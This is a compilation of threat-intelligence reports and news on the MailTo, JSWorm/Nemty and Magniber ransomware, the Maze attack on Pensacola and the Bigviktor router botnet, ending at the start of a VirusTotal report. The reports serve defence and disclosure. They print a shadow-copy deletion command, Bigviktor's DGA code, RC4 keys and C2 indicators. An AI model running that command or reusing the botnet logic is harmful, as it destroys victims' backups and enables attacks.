The second thread created will again perform “GetLogicalDriveStringsW” to get a list of drives as well as shared network locations. In this thread, the drives are filtered for only network drives. Before connecting to the network locations, the ransomware calls “ImpersonateLoggedOnUser” in order to attempt to gain access to the network locations using different access tokens collected from logged-in users.
### Encryption Thread 3
The third thread will act similarly to the second created thread in terms of impersonating all currently logged-on users but will collect shared network drives in a different manner. “GetNetShares” and “WNetEnumResourceW” are used to iterate over shared network drives and paths. “GetNetShares” will also pick up hidden network shares such as “IPC$” and “Admin$”.
## File Encryption
When it comes to encrypting an individual file, the ransomware is quite robust in ensuring that it will encrypt that file. If a process or service has a hold on a file that the ransomware wants to encrypt, the ransomware will kill that process or service in order to do so. If the ransomware does not have access to a file or network path, it will iterate all duplicated access tokens of users logged onto the machine and use that token in an attempt to encrypt the file. If the ransomware was shut down and only partially encrypted a file, but later executed again, it will check the last four bytes of the file for a CRC32 hash of their public ECC key. If the four bytes match the CRC32 hash of their public key, the ransomware will know that the file was fully and successfully encrypted.
## Finalization
### Ransomware Note
When the MailTo ransomware has finished encrypting, it will open Notepad with a ransomware note.
### Uninstallation
After the ransomware note has been displayed, MailTo deletes the following entries from the system if they exist:
**Files**
- Program Files (x86)/<uniqueName>/<uniqueName.exe>
- Program Files/<uniqueName>/<uniqueName.exe>
- C:\Users\<username>\AppData\Roaming\<uniqueName>\<uniqueName.exe>
**Registry Keys**
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
### Shadow Copy Deletion
Shadow copy deletion occurs after MailTo uninstalls itself from the system. “vssadmin.exe” is used with the following command for shadow copy deletion:
`vssadmin.exe delete shadows /all /quiet`
Shadow copy deletion using this simple vssadmin command is typical of many ransomware. Interestingly, shadow copy deletion also occurs one additional time during the execution of the injected entry point of Explorer.exe.
## Conclusion
The MailTo ransomware is complex ransomware that effectively does its job of encrypting files. What makes MailTo tricky is its ability to leave no stone unturned when it comes to encrypting files. The ransomware has been designed carefully to ensure that its privileges are exhausted to the fullest extent by enumerating every logical drive and network share through impersonated user accounts. The ransomware also makes sure that it destroys any handles to files that are not its own. Even if a service or process is making changes to a file, the ransomware will eliminate that process/service and encrypt the file. The ransomware also sets up a persistent registry key and only removes it once the encryption has been completed.
MailTo does its best to minimize its detection vectors by deleting itself, hiding its imports, and injecting into processes using stealthy techniques. MailTo avoids the use of suspicious Windows APIs as much as it can by using undocumented Windows functions and keeping away from the Windows crypto API. Even though MailTo has its flaws, such as with service termination, this ransomware will successfully encrypt files on a system and mapped network drives without the possibility of decrypting them without the ransomware private key.
MailTo is getting more and more popular, so stay safe and keep offline or unconnected backups of your important data.
## IOC
MailTo Sample SHA256:
`58e923ff158fb5aecd293b7a0e0d305296110b83c6e270786edcc4fea1c8404c` |
# Evolution of JSWorm Ransomware
## Authors
Fedor Sinitsyn
Yanis Zinchenko
## Introduction
Over the past few years, the ransomware threat landscape has been gradually changing. We have witnessed a paradigm shift. From the massive outbreaks of 2017, such as WannaCry, NotPetya, and Bad Rabbit, many ransomware actors have moved to the covert but highly profitable tactic of “big-game hunting.” News of ransomware causing an outage of some global corporation’s services has now become commonplace.
In some cases, this global trend is just a reflection of the continuous life cycle of threats: old ransomware families shut down and new ones appear and pursue new targets. However, there are times when a single ransomware family has evolved from a mass-scale operation to a highly targeted threat – all in the span of two years. In this post, we want to talk about one of those families, named JSWorm.
## Chronology
JSWorm ransomware was discovered in 2019, and since then, different variants have gained notoriety under various names such as Nemty, Nefilim, Offwhite, and several others. Several versions were released as part of each “rebranded” variant that altered different aspects of the code, renamed file extensions, cryptographic schemes, and encryption keys.
Together with name changes, the developers of this ransomware have also been reworking their code and trying different approaches to distribution. At some point in 2020, the developers even changed the programming language from C++ to Golang, completely rewriting the code from scratch. However, the similarity in the cryptographic scheme, ransom notes, and use of the same data leak website address led us to believe it’s the same campaign.
The original version of the malware, as well as some of the subsequent “rebrandings,” e.g., Nemty, were advertised on an underground forum by a poster with the username jsworm.
## Distribution Methods
From its creation in 2019 until the first half of 2020, JSWorm was offered as a public RaaS and was observed propagating via:
- RIG exploit kit
- Trik botnet
- Fake payment websites
- Spam campaigns
From the first half of 2020, the public RaaS was closed, and the operators switched to big-game hunting. There is evidence of an initial breach via exploitation of vulnerable server-side software (Citrix ADC) and unsecure RDP access.
## Technical Details
We will describe some notable variants of the JSWorm family encountered during the history of this malware. The dates indicate the approximate period when the corresponding variant was observed ITW.
### May 2019: JSWorm
**MD5:** a20156344fc4832ecc1b914f7de1a922
This sample is one of the earliest discovered variants of JSWorm ransomware and, unlike its successors, it doesn’t contain an internal version number. The sample is developed in C++ and compiled in MS Visual Studio.
Besides file encryption, it performs actions such as stopping a number of running processes and services to maximize the number of files available for encryption. In addition, it deletes all system backups, shadow copies, disables the system recovery mode, and clears event logs.
**Cryptographic Scheme**
The files are encrypted using a custom modification of a Blowfish cipher with a 256-bit key. The key is generated at the beginning of the program execution and based on concatenation of the strings: user name, device MAC address, and volume serial number.
Then a string referred to by the ransom notes as “JSWORM PUBLIC KEY” is generated. In fact, asymmetric cryptography is not used here, and using the word “public” makes no sense in this context. What the ransomware developer is calling “JSWORM PUBLIC KEY” is in fact the aforementioned Blowfish key XOR-ed with the string “KCQKCQKCQKCQ” and encoded in Base64.
A custom version of Blowfish is used for encryption of the content of each of the victim’s files. No more than 100,000 bytes are encrypted, probably to speed up encryption of large files. The encrypted data is written over the original. The developers changed the internal implementation of the Blowfish cipher, which resulted in it being incompatible with standard implementations, probably in an attempt to make decryption more difficult for researchers.
After encrypting the contents of a file, the program renames it. An additional extension “.[ID-…][[email protected]].JSWORM” is added to the filename.
**Encryption Flaws**
The malware essentially saves the key that can be used for decryption in the ransom notes. Base64-decoding and un-xoring it is trivial, and the victim’s data can be saved without paying the ransom. Even if the ransom note is for some reason lost, the key can be easily regenerated on the infected machine.
### July 2019: JSWorm 4.0.3
**MD5:** 5444336139b1b9df54e390b73349a168
An improved and updated version of JSWorm that attempts to fix flaws found in the previous variants. This sample contains a language check of the infected machine. This is most likely intended to prevent encryption of data on systems where certain languages are used.
However, likely due to an error, this version of ransomware only encrypts files if the system language is Russian. The ransom note in this variant is implemented as an HTA file named `<ID>-DECRYPT.hta`, where `<ID>` is the unique victim ID assigned by the malware. The HTA file is launched upon completion of the file encryption and also added to the autorun via registry.
**Cryptographic Scheme**
This version of JSWorm uses the WinAPI implementation of RSA and a custom implementation of AES to encrypt files. JSWorm generates two random values of 128 bits (IV) and 256 bits (key) that are limited to the characters: a…z, A…Z, and 0…9. The RSA public key is embedded inside the ransomware.
Using this key, JSWorm encrypts the AES key and initialization vector (IV) and encodes them into Base64. Afterward, this value is added to the ransomware note `<ID>-DECRYPT.hta`, but the value itself is not displayed visually because it is located inside the file as an HTML comment.
In order to make decryption attempts more difficult for researchers, the malware developers implemented a custom variant of the AES block cipher which is incompatible with the standard algorithm. The contents of the victim’s files are encrypted by this cipher with the key and IV described above.
For optimization, like before, only the first 160,000 bytes are encrypted in large files. After encryption, an additional extension is appended to the filename, which is familiar to us from the previous sample: `<filename>.[ID-NQH1J49][[email protected]].JSWRM`.
**Encryption Flaws**
In this variant of JSWorm, the developers tried to fix the flaws found by researchers in previous versions. However, decryption without payment was still possible. The pseudorandom number generator used to generate the key and IV is not cryptographically secure and it allows researchers to restore the key and IV by attacking the generation algorithm.
### August 2019: Nemty 1.4
**MD5:** 1780f3a86beceb242aa81afecf6d1c01
The code change between JSWorm and Nemty is significant. Based on our analysis, the malware developers may have rewritten their Trojan from scratch, possibly to prevent successful decryption attempts that allowed victims of several earlier variants of JSWorm to restore their data without paying.
This sample is also developed in C++ and compiled in MS Visual Studio. It implements a minor anti-analysis trick consisting of a string obfuscation algorithm. The strings (e.g., ransom note name and contents, RSA public key, payment URL, etc.) are encrypted by the RC4 stream cipher with a hardcoded key “fuckav” and encoded in Base64.
Upon launch, the sample will gather the information about storage devices attached to the infected machine, get its external IP address by an HTTP request, determine the victim’s country by requesting data, generate a pair of RSA-2048 session encryption keys, and combine all the gathered information in a JSON structure. This structure is then encrypted by the public RSA key of the threat actors and saved at the end of the ransom notes as “NEMTY DECRYPTION KEY.”
**Cryptographic Scheme**
The Trojan sample contains the threat actor’s hardcoded RSA-8192 public key, which we will call the master RSA public key. When executed on the victim’s machine, the Trojan also generates a pair of session RSA-2048 keys with the private key addressed above as pr_key. In addition to this, it also generates a 256-bit key that will be used with a custom block cipher based on AES.
The 256-bit key and pr_key are encrypted by the master RSA public key and saved in the ransom notes. When encrypting each of the victim’s files, Nemty 1.4 will generate a 128-bit IV and use the 256-bit key with this IV to encrypt the file contents by a custom AES-based cipher. The IV is encrypted by the session public RSA key and appended to the encrypted file.
Each encrypted file is renamed so that it gets an additional extension “._NEMTY_<…>_” where the skipped part is the infection ID mentioned above as FileID.
**Encryption Flaws**
Like some of the earlier variants of JSWorm, the implementation of the cryptographic scheme in Nemty 1.4 is not flawless. Decryption of the victims’ files was possible by exploiting two weaknesses:
1. The PRNG for the key generation is not secure.
2. The RSA session key is not removed from the system store.
By using the first weakness, it’s possible to restore the 256-bit key, while the pr_key can be restored using the second. Once you know the pr_key, you can decrypt the IV and then, armed with the 256-bit key and IV, decrypt the victim’s file contents.
### Further Variants
The ‘Nemty’ branding was used until March of 2020. One of the last variants had the internal version 3.1. In the few months following the initial creation, several intermediate versions of Nemty were discovered. The changes include different mutex names and C&C addresses, the added ability to terminate running processes, stop services and delete shadow copies, improved cryptography that prevented unpaid decryption, changes to the ransom text, and numerous tweaks.
### March 2020: Nefilim
**MD5:** 5ff20e2b723edb2d0fb27df4fc2c4468
Around March 2020, the developers changed the branding of their Trojan to Nefilim. Around the time the first variants of Nefilim started appearing, the distribution model of this family changed. The developers switched from the public RaaS scheme used with the JSWorm and Nemty variants to private cooperation with affiliates aimed at big-game hunting. The threat actors started targeting high-profile victims and manually operating inside the victim’s network, exfiltrating confidential data and threatening to leak it to intimidate the victim.
All auxiliary functionality such as process termination, deletion of shadow copies, communication with C&C, was removed from the Trojan’s code. The Trojan became a single-purpose binary used exclusively for file encryption. If any additional actions were deemed necessary, they were carried out by the threat actors manually or with the help of additional third-party tools.
Nefilim is developed in C++ and compiled in MS Visual Studio like Nemty, and the code overlap between the later versions of Nemty (2+) and Nefilim is very substantial and allows us to suggest that the development continued from the same source code.
### April 2020: Offwhite
**MD5:** ad25b6af563156765025bf92c32df090
With the branding change from Nefilim to Offwhite, the code of the malware has been further trimmed to reduce the resulting binary size. To achieve this, the developers stopped using the STL library and got rid of C++ runtime code that was adding unnecessary bulk. Otherwise, it’s still basically the same old Nefilim. In addition to the capabilities we already discussed, one other feature of note has been added to the Trojan code allowing it to generate a wallpaper from the ransom text and save it as “scam.jpg.”
### June 2020: Telegram
**MD5:** 004f67c79b428da67938dadec0a1e1a4
The differences between the Offwhite and Telegram variants of the Trojan are minimal. The code is almost identical with the main differences being the encrypted file extension (.TELEGRAM), the ransom note name (TELEGRAM-RECOVER.txt), and the fact that the names of imported API functions are not encoded as HEX strings.
### November 2020: Fusion
**MD5:** f37cebdff5de994383f34bcef4131cdf
This Trojan variant is written in the Go programming language. As we mentioned above, previous variants were developed in C++, which means a complete rewrite from scratch, possibly by another developer. However, the similar overall modus operandi of the malware, similar cryptographic scheme, matching ransom notes, and the fact that the binary is signed suggest this sample is in fact a new variant of the JSWorm family.
### January 2021: Milihpen
**MD5:** e226e6ee60a4ad9fc8eec41da750dd66
With the Milihpen variant, the actors behind the JSWorm family have once again completely reworked the code of the malware, or perhaps hired another developer to implement it from scratch. This sample is once again developed in C++ and not Golang. Despite this, the main functionality, execution flow, crypto scheme, and data leak site addresses are preserved.
### February 2021: Gangbang
**MD5:** 173ab5a59490ea2f66fe37c5e20e05b8
The Gangbang variant is identical to Milihpen and is currently the most recently discovered strain of this ransomware family. The only notable difference is the fact that the configuration structure is now encrypted by AES with a hardcoded key and IV instead of being in plaintext like in Milihpen. Additionally, in contrast with previous versions, the digital signature on this sample is invalid.
## Data Leak Site
In the spring of 2020, the actors behind the JSWorm family switched to big-game hunting and started their own website where they could publish confidential data stolen from their victims. At the time of writing, the website is still operational and contains posts about more than a hundred organizations that fell victim to this malware.
## Victims
Based on our KSN telemetry, we created a chart illustrating the geographical distribution of JSWorm ransomware attacks.
### Top 10 Countries Attacked by JSWorm
| Country | %* |
|-------------------------------|--------|
| China | 21.39% |
| United States of America | 7.96% |
| Vietnam | 7.46% |
| Mexico | 6.97% |
| Russian Federation | 6.47% |
| Brazil | 5.47% |
| India | 5.47% |
| Germany | 4.98% |
| France | 4.48% |
| Republic of Korea | 2.99% |
*Unique users attacked by JSWorm ransomware family in the country as a percentage of all users who encountered JSWorm ransomware.
### Distribution of JSWorm Victims by Industry
According to the victim list published by the threat actors, two-fifths (41%) of JSWorm attacks were targeted against companies in the Engineering and Manufacturing category. Energy and Utilities (10%), Finance (10%), Professional and Consumer Services (10%), Transportation (7%), and Healthcare (7%) were also at the top of their list.
## Conclusion
The JSWorm family has already been evolving for two years and during this time it has changed distribution models and the Trojan has undergone several complete redevelopments. Since its initial emergence in 2019, it has turned from a typical mass-scale ransomware threat affecting mostly individual users into a typical big-game hunting ransomware threat attacking high-profile targets and demanding massive ransom payments.
As with other targeted ransomware threats of today, the key to preventing JSWorm infection incidents is a complex approach to securing an organization’s network. Any weakness may become an entry point for the threat actors, be it a vulnerable version of server-side software, an employee clicking a malicious link, a weak password for remote control systems, and so on.
To boost defenses against big-game hunting ransomware, we recommend carrying out a security audit of your network in order to find and proactively fix any security flaws. Other recommendations for maximizing security of your organization include:
- Do not expose remote desktop services (such as RDP) to public networks unless absolutely necessary and always use strong passwords for them.
- Make sure commercial VPN solutions and other server-side software are always up to date as exploitation of this type of software is a common infection vector for ransomware. Always keep client-side applications up to date as well.
- Focus your defense strategy on detecting lateral movements and data exfiltration to the internet. Pay special attention to the outgoing traffic to detect cybercriminal connections. Back up data regularly. Make sure you can quickly access it in an emergency when needed. Use the latest Threat Intelligence information to stay aware of actual TTPs used by threat actors.
- Use solutions like Kaspersky Endpoint Detection and Response and the Kaspersky Managed Detection and Response service to help identify and stop an attack at the early stages, before the attackers achieve their ultimate goals.
- To protect the corporate environment, educate your employees. Dedicated training courses can help, such as those provided in the Kaspersky Automated Security Awareness Platform.
- Use a reliable endpoint security solution, such as Kaspersky Endpoint Security for Business that is powered by exploit prevention, behavior detection, and a remediation engine that is able to roll back malicious actions. KESB also has self-defense mechanisms that can prevent its removal by cybercriminals.
## IoC
- **JSWorm (early variant)**
**MD5:** a20156344fc4832ecc1b914f7de1a922
- **JSWorm 4.0.3**
**MD5:** 5444336139b1b9df54e390b73349a168
- **Nemty 1.4**
**MD5:** 1780f3a86beceb242aa81afecf6d1c01
- **Nefilim**
**MD5:** 5ff20e2b723edb2d0fb27df4fc2c4468
- **Offwhite**
**MD5:** ad25b6af563156765025bf92c32df090
- **Telegram**
**MD5:** 004f67c79b428da67938dadec0a1e1a4
- **Fusion**
**MD5:** f37cebdff5de994383f34bcef4131cdf
- **Milihpen**
**MD5:** e226e6ee60a4ad9fc8eec41da750dd66
- **Gangbang**
**MD5:** 173ab5a59490ea2f66fe37c5e20e05b8 |
# Fake Windows 10 Updates Infect You with Magniber Ransomware
Fake Windows 10 updates are being used to distribute the Magniber ransomware in a massive campaign that started earlier this month. Over the past few days, BleepingComputer has received a surge of requests for help regarding a ransomware infection targeting users worldwide.
While researching the campaign, we discovered a topic in our forums where readers report becoming infected by the Magniber ransomware after installing what is believed to be a Windows 10 cumulative or security update. These updates are distributed under various names, with `Win10.0_System_Upgrade_Software.msi` and `Security_Upgrade_Software_Win10.0.msi` being the most common. Other downloads pretend to be Windows 10 cumulative updates, using fake knowledge base articles, as shown below:
- `System.Upgrade.Win10.0-KB47287134.msi`
- `System.Upgrade.Win10.0-KB82260712.msi`
- `System.Upgrade.Win10.0-KB18062410.msi`
- `System.Upgrade.Win10.0-KB66846525.msi`
Based on the submissions to VirusTotal, this campaign appears to have started on April 8th, 2022, and has seen massive distribution worldwide since then. While it's not 100% clear how the fake Windows 10 updates are being promoted, the downloads are distributed from fake warez and crack sites.
Once installed, the ransomware will delete shadow volume copies and then encrypt files. When encrypting files, the ransomware will append a random 8-character extension, such as `.gtearevf`. The ransomware also creates ransom notes named `README.html` in each folder that contains instructions on how to access the Magniber Tor payment site to pay a ransom.
The Magniber payment site is titled 'My Decryptor' and will allow a victim to decrypt one file for free, contact 'support,' or determine the ransom amount and bitcoin address victims should make a payment. From payment pages seen by BleepingComputer, most ransom demands have been approximately $2,500 or 0.068 bitcoins. Magniber is considered secure, meaning that it does not contain any weaknesses that can be exploited to recover files for free. Unfortunately, this campaign primarily targets students and consumers rather than enterprise victims, causing the ransom demand to be too expensive for many victims. |
# Maze Ransomware Behind Pensacola Cyberattack, $1M Ransom Demand
The operators behind the Maze Ransomware have claimed responsibility for the cyberattack affecting the City of Pensacola, Florida, but state that they are not affiliated with the recent shooting at NAS Pensacola.
In an email conversation with BleepingComputer, the operators of the Maze Ransomware stated that they were responsible for encrypting the city's data and have demanded a $1,000,000 ransom for a decryptor. When Maze targets a network, they will steal the victim's files before they are encrypted. The attackers then tell the victim that they will publicly release these files unless the ransom is paid.
Maze is not the first ransomware to make these claims, but as we have seen with the release of Allied Universal's documents, the Maze crew appears to be willing to follow up with their threats. Maze has shared documents that were allegedly stolen from the city but did not state if they have given a deadline to Pensacola or will release them.
One item that appeared to be of concern to the Maze operators was the timing of their attack. Without our prompting, the Maze Ransomware operators expressed concerns about being linked to the recent NAS Pensacola shooting and told BleepingComputer that they had nothing to do with it. "We also must tell you that there is no any connections with the shooting event that occurred before running maze. We did not know about this. It is just coincidence."
Maze states they avoid emergency services. Maze also wanted to reassure us that they purposely avoided emergency services, or what they call 'socially significant services', such as 911. "Also we want to emphasize that no one of the socially significant services has suffered (for example 911)." When we asked if they purposely avoided services like these, they told us that medical care centers or other 'socially vital objects' are not allowed and will decrypt any that are encrypted for free. "We don’t attack hospitals, cancer centers, maternity hospitals and other socially vital objects, up to the point that if someone uses our software to block the latter, we will provide a decrypt for free."
## City Recovering
When we attempted to confirm if the information provided by Maze is accurate, Kaycee Lagarde, Public Information Officer for the City of Pensacola, told BleepingComputer that due to ongoing investigations they could not provide additional details. Lagarde did tell us that the city is slowly recovering and that their mail servers are back up and that most landlines have been restored. Employees, though, continue to be unable to access their computers or the Internet until all of the issues are resolved.
"We are currently in an assessment and recovery mode, and our IT Department is continuing to work diligently to make sure all computers are free of any viruses before we reconnect them to the network. We don’t have an estimated time of completion, but they are working to restore services as quickly as possible. As IT works to restore services, they are also looking into bringing experts in to assist with evaluating any potential impacts to data. Our email servers are back up, but since IT still has our computers disconnected from the network, city employees only have limited access to email (via smartphone for employees who have city cell phones)."
Most landlines have been restored. The city remains operational, but we are somewhat limited since we aren’t able to use our computers or internet until these issues are resolved. Emergency dispatch and 911 services were not impacted and continue to operate. Our website at cityofpensacola.com and online permitting services at mygovernmentonline.org were not impacted and remain operational. |
# The new Bigviktor Botnet is Targeting DrayTek Vigor Router
**Alex Turing**
**July 10, 2020**
## Overview
On June 17, 2020, 360Netlab Threat Detecting System flagged an interesting ELF sample (dd7c9d99d8f7b9975c29c803abdf1c33). Further analysis shows that this is a DDoS Bot program that propagates through the CVE-2020-8515 vulnerability which targets the DrayTek Vigor router device, and it uses DGA (Domain Generation Algorithm) to generate C2 domain names.
The program uses "viktor" as file name (/tmp/viktor) in the propagation process. A special string 0xB16B00B5 (big boobs) was used in the sample, and we combined the two and named it Bigviktor.
From the network’s perspective, Bigviktor’s DGA generates 1000 domain names every month and traverses the 1000 domain names by requesting RC4 encryption & ECSDA256 signed s.jpeg. When a live C2 responds to the request, the bot then takes the next step to request image.jpeg from C2 to get more instructions.
Bigviktor supports 8 kinds of instructions, which can be divided into 2 major functions:
- DDoS attack
- Self-renewal
The overall network structure is shown in the figure.
DGA is a double-edged sword. While giving the author a good chance to evade detection, it also gives security researchers the opportunity to register domain names to hijack infected hosts of botnets. We registered several domain names generated by Bigviktor in June and July (workfrequentsentence.club, waitcornermountain.club), so we were able to tap into its network to measure the scale of the Botnet. As of now, we only see about 900 active infected IPs. However, when taking a look at the requests of Bigviktor DGA domain name, we can see the trend is steadily going up. Its daily active Bot trend is shown in the figure below.
## Bot geographic location
The IP area distribution of infected devices is as follows:
The main ASN distribution of these IPs is as follows:
- 412 AS45899 | VNPT_Corp
- 194 AS7552 | Viettel_Group
- 190 AS18403 | The_Corporation_for_Financing_&_Promoting_Technology
- 90 AS3462 | Data_Communication_Business_Group
- 82 AS15525 | Servicos_De_Comunicacoes_E_Multimedia_S.A.
- 66 AS8151 | Uninet_S.A._de_C.V.
- 52 AS45903 | CMC_Telecom_Infrastructure_Company
- 34 AS3352 | Telefonica_De_Espana
- 28 AS17552 | True_Internet_Co.,Ltd.
- 22 AS8881 | 1&1_Versatel_Deutschland_GmbH
## Infected device
By obtaining the title of the infected device's 80, 8080, and 443 port web pages, we know that the currently distributed version of the infected DrayTek Vigor router is:
- 269 Vigor 2960
- 107 Vigor 3900
- 87 Vigor 300B
## Reverse analysis
We have captured a total of 2 versions. The first version of the bot program seems to have bugs and cannot run normally. This article uses the latest version as an example for reverse analysis.
**MD5:** dd7c9d99d8f7b9975c29c803abdf1c33
**ELF:** 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
**Packer:** None
Generally speaking, the Bigviktor function is relatively simple. It binds a local port at runtime to implement a single instance, uses the RC4 algorithm to decrypt sensitive resources, including the strings to be used by DGA, and then uses DGA to generate 1000 C2 domain names based on these strings. Then the bot uses the libcurl library to send a request to the built-in legit websites to test network connectivity. If the network is up, it moves on to the next step to request the s.jpeg from the C2 domain to verify the legitimacy of C2; after passing the legality test, it goes to the final step to request the male.jpeg and image.jpeg resources from the C2 domain to conduct DDoS attack.
We can roughly divide the bot behaviors into two categories: auxiliary behavior and malicious behavior.
### Auxiliary behavior
1. Use libcurl library to access network resources
**DNS Option:** 1.1.1.1, 8.8.8.8
**User-Agent Option:** Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
**Accept Option:** Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp,*/*;q=0.8
2. Bind port 61322 to implement a single instance
3. RC4 encrypts sensitive resources, the resources include the strings required by DGA, legit websites, upgrade file storage path, etc.
**The RC4 key is:**
DA B2 F1 F7 32 FD 03 BA 58 DB FF 53 8B F2 6F 01
02 FF 00 01 03 05 00 DE 02 FF 00 01 7C DF 92 91
Take the suffixes required by DGA to generate domain as an example, the ciphertext is as follows:
```
00000000 34 f5 96 77 11 66 35 4f 1d ae b6 04 57 77 79 9d |4õ.w.f5O.®¶.Wwy.|
00000010 db 36 d4 a8 38 5a e2 9f 6a a2 79 bf 6a 6f bf 2f |Û6Ô¨8Zâ.j¢y¿jo¿/|
...
```
After decryption:
```
00000000 61 72 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |art.............|
00000010 63 6c 69 63 6b 00 00 00 00 00 00 00 00 00 00 00 |click...........|
...
```
4. Access a legit website to test network connectivity and obtain the current date. The legit websites can be decrypted by RC4, and we got the following sites:
- jd.com
- weibo.com
- vk.com
- csdn.net
- okezone.com
- office.com
- xinhuanet.com
- babytree.com
- livejasmin.com
- twitch.tv
- naver.com
- aliexpress.com
- stackoverflow.com
- tribunnews.com
- yandex.ru
- soso.com
- msn.com
- facebook.com
- youtube.com
- baidu.com
- en.wikipedia.org
- twitter.com
- amazon.com
- imdb.com
- reddit.com
- pinterest.com
- ebay.com
- tripadvisor.com
- craigslist.org
- walmart.com
- instagram.com
- google.com
- nytimes.com
- apple.com
- linkedin.com
- indeed.com
- play.google.com
- espn.com
- webmd.com
- cnn.com
- homedepot.com
- etsy.com
- netflix.com
- quora.com
- microsoft.com
- target.com
- merriam-webster.com
- forbes.com
- tmall.com
- baidu.com
- qq.com
- sohu.com
- taobao.com
- 360.cn
- tianya.cn
Visit one of these URLs to get the current date, which will be used in DGA.
**Format:** %a, %d %b %Y
**Date:** Fri, 10 Jul 2020
### Malicious behavior
1. Use the C2 domain name generated by DGA.
The format of the domain name is [prefix.]verbe[-]adjective[-]noun.surfix, the content in [] indicates optional. The prefix has 40 words, the verbe has 100 words, the adjective has 525 words, noun has 1522 words, and surfix has 20 words. The algorithm is implemented as follows:
```cpp
void GenNewKey(uint32_t &key) {
uint32_t tmp = key ^ (key << 13) ^ ((key ^ (uint32_t)(key << 13)) >> 17);
key = tmp ^ 32 * tmp;
}
```
The current date converts into a string with format %b %Y 00:00 and the initial key is the first 4 bytes of the SHA256 value of the string. For example, current date: Fri, 10 Jul 2020
**Format:** ----> Jul 2020 00:00
**SHA256:** ----> 6ac0f83915ed5d7b9bb7055723084df001b16a552d758de3c415f083f931ab8c
**Get first 4 bytes:** ----> key=0x6ac0f839
Therefore, the DGA domain is different every month. Taking the July key (0x6ac0f839) as an example, the first 5 domains generated are:
- decidefresh-county.in
- payculturaltour.org
- standvisiblereach.rocks
- meanforwardcap.top
- raisefitsize.rocks
When we observe the actual DNS data in packet, we can see the result matches. See the end of the article for all DGA domains in July.
2. Get the current effective C2.
To connect to a valid C2, Bigviktor starts from a random position of the 1000 DGA domains. If there is no valid C2, it goes back to the first domain name and starts over again. In order to ensure that the network is completely controllable and not stolen by others, Bigviktor will verify the signature of the s.jpeg file. Only after passing the signature verification, a C2 is deemed valid.
The real payload encryption is hidden in the jpeg (s.jpeg; image.jpeg) file. The structure of jpeg is IMAGE DATA (16 BYTES): Half-RC4 KEY (16 BYTES): Ciphertext. Each sample integrates a Half-RC4 KEY (16 BYTES), and each payload integrates a Half-RC4 KEY (16 BYTES). Two Half-RC4 keys are combined into a complete RC4 key (32 BYTES); also, a hard-coded ECDSA256 public key is used to verify the decrypted payload.
**Half-RC4 KEY:**
82 BC 09 D5 47 A9 37 27 8F ED F1 7B 29 2A FA 67
**Pub KEY:**
03 2F 37 51 43 1F A3 58 81 66 86 F7 BA 4C A2 30
45 2C 9B 9E 12 9A E9 97 CF 69 09 CF 7F 42 D4 97 88
Take s.jpeg (md5: 4c6d0bed21bc226dbaf4e6adc7402563) as an example.
Splice out the complete RC4 key:
Half RC4 KEY from s.jpeg + Half RC4 from sample
Decrypt Ciphertext to get:
When the verification is successful, a valid C2 is obtained. The procedures of verification need to meet these conditions:
- signature verification
- Plaintext[2] == \x00, Plaintext[3] == \x09
- C2 in the plaintext is the same as the DGA domain which responds to the s.jpeg request.
3. Ask for specific tasks from C2.
After the Bot obtains a valid C2, it will request the image.jpeg resource from C2. Similarly, image.jpeg also needs to be decrypted and verified. After successful verification, the Bot will perform the corresponding DDoS attack or update according to the instructions of image.jpeg.
Bigviktor supports a total of 8 operations:
| cmd | description |
|-----|-------------|
| 1 | null |
| 2 | connect attack |
| 3 | tcp syn attack with fixed source ip |
| 4 | tcp syn attack with random source ip |
| 6 | update |
| 7 | tcp syn attack with random source ip from male.jpeg |
| 8 | tcp syn attack with random source ip from male.jpeg |
| 9 | null |
Take a payload from June, image.jpeg (md5: 2e8c223f8ac1f331c36acd32ee949f6f) as an example.
Decrypt Ciphertext to get:
We can see that the bot will launch a "connect" DDoS attack and the target is 202.162.108.55:80. The result matches the pcap info.
## Contact us
Readers are always welcomed to reach us on Twitter, or email to netlab at 360 dot cn.
## IOC
**Sample MD5:**
- 7b1ab096b63480864df7b0dcfebe2e2e
- dd7c9d99d8f7b9975c29c803abdf1c33
**C2-IP:**
151.80.235.228 AS16276 | OVH_SAS France | Hauts-de-France | Gravelines
**C2-Domain:**
- useinsidehigh.com:80
- writeseparateliterature.com:80
**Payload:**
- 4c6d0bed21bc226dbaf4e6adc7402563 s.jpeg
- 2e8c223f8ac1f331c36acd32ee949f6f image.jpeg
## DGA domains in July
- decidefresh-county.in
- payculturaltour.org
- standvisiblereach.rocks
- meanforwardcap.top
- raisefitsize.rocks
- www2.tellapartspring.realty
- expectrawknee.com
- decidesurepizza.rocks
- img.leavetall-sky.nl
- dodifferentuser.fans
- become-thatspare.futbol
- play-better-parent.observer
- telldesignerpanic.art
- appear-weakrate.observer
- support.showremote-conclusion.fans
- raiseover-piano.org
- meancoolpick.pictures
- bringjunior-bench.art
- ssl.remainunhappyboy.info
- readafterask.net
- leavelogicalambition.tel
- takedramaticprimary.rocks
- test.likerarereality.xyz
- cloud.runconstantnerve.fans
- stopseafemale.observer
- offer-individualthroat.fans
- meanthickprivate.info
- turnfederalemploy.art
- tellcold-top.one
- mail2.comefirmdeposit.nl
- liketypicalcorner.net
- buyliving-balance.observer
- video.continueleft-contact.nl
- askformer-mission.top
- learnaggressive-she.org
- email.hearlateformal.in
- keepunitedbirth.art
- turntruebreakfast.futbol
- cutmaingolf.art
- dev.likefemalepush.rocks
- dev.holdfeelingpreference.click
- findvariousfish.tel
- tftp.seempowerful-south.art
- video.comepureproposal.link
- watchcapable-sample.rocks
- growborn-law.click
- bringefficientvalue.one
- beginlower-man.nl
- speakoriginalworld.one
- putmoneyearth.fans
- have-wastebutton.futbol
- findwildcollar.info
- livepotentialdebt.pictures
- mail.pull-capableprofession.tel
- passbornsafe.rocks
(Continued with more domains...) |
# VirusTotal’s 2021 Malware Trends Report
Welcome to “VirusTotal’s 2021 Malware Trends Report.” We hope that by sharing our visibility into the threat landscape, we can help researchers, security practitioners, and the general public better understand the evolution of malware attacks in 2021.
When facing online threats as complicated as those we face today, defenders naturally struggle to see the whole picture. This partial view makes it difficult to condense and analyze significant and rich data in a single place and creates blind spots for defenders.
